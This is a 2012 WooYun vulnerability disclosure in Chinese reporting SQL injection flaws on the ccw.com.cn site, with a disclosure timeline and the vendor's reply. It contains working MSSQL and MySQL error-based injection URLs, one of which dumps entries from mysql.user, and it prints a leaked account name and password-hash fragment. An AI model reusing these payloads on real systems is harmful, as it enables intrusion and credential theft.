漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-05049
漏洞标题：计世网多处注射漏洞
相关厂商：计世网
漏洞作者： Jannock
提交时间：2012-03-05 21:45
修复时间：2012-04-19 21:46
公开时间：2012-04-19 21:46
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-03-05： 细节已通知厂商并且等待厂商处理中
2012-03-06： 厂商已经确认，细节仅向厂商公开
2012-03-16： 细节向核心白帽子及相关领域专家公开
2012-03-26： 细节向普通白帽子公开
2012-04-05： 细节向实习白帽子公开
2012-04-19： 细节向公众公开
简要描述：
计世网多处注射漏洞
详细说明：
mssql 注射。
http://www.ccw.com.cn/projector/cgfa/index.php?categoryId=1%29%20%20as%20c%20on%20c.articleId=a.id%20where%20%28select%20@@version%29=1--
message: 在将 nvarchar 值 'Microsoft SQL Server 2005 - 9.00.4035.00 (Intel X86) Nov 24 2008 13:01:59 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' 转换成数据类型 int 时失败。
http://www.ccw.com.cn/oa/news/?categoryId=1xx
mysql root注射
http://user.ccw.com.cn/active.php?ac=5%20and%20%28select%201%20from%28select%20count%28*%29,concat%280x7c,%28select%20%28Select%20concat%280x7c,user,0x7c,password,0x7c,host%29%29%20from%20mysql.user%20limit%206,1%29,0x7c,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1%29a%29%23
hy|453ee53467932819|%
端口还可以远程。root 密码等已经被人提交过cmd5破解，估计早发现漏洞。。
漏洞证明：
mssql 注射。
http://www.ccw.com.cn/projector/cgfa/index.php?categoryId=1%29%20%20as%20c%20on%20c.articleId=a.id%20where%20%28select%20@@version%29=1--
message: 在将 nvarchar 值 'Microsoft SQL Server 2005 - 9.00.4035.00 (Intel X86) Nov 24 2008 13:01:59 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' 转换成数据类型 int 时失败。
http://www.ccw.com.cn/oa/news/?categoryId=1xx
mysql root注射
http://user.ccw.com.cn/active.php?ac=5%20and%20%28select%201%20from%28select%20count%28*%29,concat%280x7c,%28select%20%28Select%20concat%280x7c,user,0x7c,password,0x7c,host%29%29%20from%20mysql.user%20limit%206,1%29,0x7c,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1%29a%29%23
hy|453ee53467932819|%
端口还可以远程。root 密码等已经被人提交过cmd5破解，估计早发现漏洞。。
修复方案：
您懂得！
版权声明：转载请注明来源 Jannock@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：20
确认时间：2012-03-06 09:52
厂商回复：
首先还是非常感谢。计世网目前没有人员专门从事安全方面的工作，再由于历史原因，系统千疮百孔，我只能依靠诸位的无私奉献，见一个修一个。再次感谢。再说一下计世网这几次出现的漏洞都是由于对参数的过滤不严造成的。
最新状态：
暂无